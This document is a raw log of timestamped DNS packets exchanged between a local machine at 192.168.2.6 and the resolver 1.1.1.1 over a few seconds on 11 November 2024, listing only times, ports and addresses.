                                                                                                                                                                                                          Nov 11, 2024 18:13:47.069175005 CET53562191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.072698116 CET53502221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.072896004 CET53502801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.075527906 CET53582321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.082067966 CET6337453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.082319021 CET6367053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.082673073 CET5503453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.091850042 CET53633741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.092776060 CET53550341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.104826927 CET5409153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.110718012 CET6188753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.114089012 CET53636701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.116621017 CET53540911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.119843960 CET53618871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.125293970 CET5144853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.132958889 CET53514481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.167429924 CET6233353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.170120955 CET6343853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.176233053 CET5263853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.181145906 CET53634381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.183396101 CET5648653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.183921099 CET5962753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.183957100 CET5176753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.186933041 CET4967553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.193080902 CET53517671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.193099976 CET53596271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.193696022 CET53564861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.198641062 CET53496751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.199346066 CET53623331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.206362963 CET53526381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.215873957 CET6217453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.216181040 CET5743753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.218878984 CET5524653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.247561932 CET53621741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.247759104 CET53574371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.250853062 CET53552461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.266604900 CET5658153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.268773079 CET5570253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.269567966 CET5411653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.278630972 CET5872153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.278887987 CET5415353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.281045914 CET5407553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.281270027 CET5884753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.287329912 CET5537153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.289155006 CET53541531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.291385889 CET53587211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.292546988 CET53540751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.297719955 CET53553711.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.299180984 CET53565811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.300988913 CET53557021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.302313089 CET53541161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.313442945 CET53588471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.331530094 CET5157653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.341681957 CET53515761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.380912066 CET6177953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.384452105 CET6392953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.394375086 CET53639291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.413072109 CET53617791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.416707039 CET5563253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.417459011 CET5601153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.448771954 CET53556321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.450613976 CET53560111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.510994911 CET5400753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.543826103 CET53540071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.632997036 CET6330953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.643300056 CET53633091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.714425087 CET5793553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.722753048 CET53579351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.783746958 CET6395353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.784132004 CET5200053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.784465075 CET5546253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.785881042 CET4964253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.786401033 CET5306953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.786997080 CET5998653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.787545919 CET5082953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.787816048 CET5809053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.788305998 CET5552353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.788837910 CET6257953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.789521933 CET5397453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.790597916 CET6015953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.791135073 CET5797753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.791665077 CET6314653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.792172909 CET5842953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.793243885 CET53639531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.796364069 CET53554621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.798693895 CET53555231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.798965931 CET53496421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.799657106 CET53599861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.801135063 CET53508291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.801567078 CET53580901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.803359032 CET53601591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.803369999 CET53579771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.808374882 CET6168753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.808612108 CET6285553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.812424898 CET53584291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.817826033 CET53628551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.817867994 CET53520001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.817888975 CET53616871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.820594072 CET53530691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.823286057 CET53631461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.823816061 CET53539741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.824433088 CET53625791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.065736055 CET5673553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.077514887 CET53567351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.698559999 CET6160453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.709405899 CET53616041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.718476057 CET5511953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.719513893 CET5809653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.719968081 CET6217353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.720318079 CET5554853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.728971004 CET53551191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.730333090 CET53580961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.731121063 CET53621731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.731971025 CET5905053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.741305113 CET53590501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.753896952 CET53555481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.763838053 CET5904953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.764014959 CET5861053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.764663935 CET5986653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.764872074 CET6300153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.774072886 CET53590491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.774107933 CET53630011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.774282932 CET53598661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.786791086 CET5329253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.795964956 CET53586101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.798640966 CET53532921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.411056995 CET5759753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.431617975 CET53575971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.769731998 CET6328753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.774771929 CET5186953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.775136948 CET5643953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.775300026 CET5336053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.782398939 CET53518691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.785259008 CET53533601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.803329945 CET53632871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.936419964 CET6332953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.951603889 CET5097453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.966869116 CET53633291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.982393026 CET6384353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.982424021 CET5987553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.982752085 CET53509741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.983995914 CET5438353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.991497993 CET53598751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.991852999 CET53638431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.996423006 CET53543831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.019263983 CET53564391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.833988905 CET5311753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.836183071 CET6354053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.847378016 CET53635401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.866331100 CET53531171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.875200987 CET5599653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.880610943 CET6232453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.884264946 CET5856353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.886094093 CET53559961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.894658089 CET53585631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.899857998 CET53623241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.954066992 CET5521653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.986171961 CET53552161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.005012035 CET5253053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.005918026 CET6486453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.011594057 CET6493953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.017384052 CET53525301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.025146961 CET53649391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.037657022 CET53648641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.709166050 CET6314353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.716948986 CET53631431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.850207090 CET4947753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.858375072 CET6286953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.858397961 CET5268853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.858697891 CET4976553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.858872890 CET6494753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.859236956 CET6363753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.859380007 CET53494771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.865964890 CET53497651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.867908001 CET53628691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.868417978 CET53526881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.869544029 CET53636371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.870400906 CET53649471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.879626036 CET6418153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.881638050 CET6003753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.881968975 CET5919053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.882330894 CET6132953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.884896994 CET5188453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.885122061 CET6525753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.885312080 CET5950153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.885504007 CET5860153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.885874987 CET5325853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.888515949 CET5423353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.888933897 CET53600371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.890346050 CET5289253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.890659094 CET53641811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.895993948 CET53518841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.896321058 CET6009153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.896384954 CET53652571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.896620989 CET6113553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.898510933 CET53528921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.899061918 CET53542331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.905836105 CET53600911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.905889988 CET53532581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.906374931 CET53611351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.911928892 CET53591901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.914098978 CET53613291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.916004896 CET53595011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.917193890 CET53586011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.935523033 CET5543953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.935756922 CET5168753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.935842991 CET5393653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.936016083 CET5136153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.936288118 CET6501753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.936554909 CET6311453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.936749935 CET6322053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.942032099 CET6301753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.942205906 CET5846153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.942363024 CET6406353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.942570925 CET5348353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.943293095 CET6324853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.945167065 CET53516871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.945647001 CET53539361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.945679903 CET53650171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.946938038 CET53632201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.947467089 CET53513611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950253963 CET5888153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950419903 CET6542853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950577974 CET6436253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950715065 CET6225453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950856924 CET4959953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.950985909 CET5293953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.951160908 CET5174953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.951176882 CET6030353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.951354980 CET4915753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.951386929 CET5737453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.951765060 CET53630171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.952075958 CET53640631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.952882051 CET53534831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.954593897 CET53632481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.958671093 CET5764853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.958925009 CET6469753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959069967 CET5915553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959285975 CET6448053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959541082 CET5334153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959721088 CET5167053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959788084 CET53588811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959940910 CET5313853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.959996939 CET53654281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.960211039 CET5787753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.960274935 CET53622541.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.960375071 CET53529391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.960433960 CET5146553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.960741997 CET6462753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.961076021 CET53643621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.961184025 CET53517491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.961554050 CET53603031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.961879969 CET53573741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.961941004 CET53495991.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.963376999 CET6493153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.965635061 CET5699553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.965799093 CET5733553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.966116905 CET6491953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.966559887 CET53554391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.966929913 CET53591551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.967339039 CET53646971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.967721939 CET53631141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.968803883 CET53576481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.969651937 CET53646271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.969665051 CET53644801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.969907999 CET53531381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.970628023 CET53514651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.975148916 CET53584611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.977672100 CET53578771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.978194952 CET53533411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.982974052 CET53491571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.991569996 CET53516701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.994339943 CET53649311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.997239113 CET53569951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.997421026 CET53573351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:52.997432947 CET53649191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.097714901 CET6076353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.098074913 CET6231053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.098351002 CET6343253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.107778072 CET53623101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.107858896 CET53607631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.108472109 CET53634321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.291706085 CET6002753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.292710066 CET6061053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.300456047 CET53600271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.311403990 CET53606101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.614945889 CET6539053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.625154018 CET53653901.1.1.1192.168.2.6
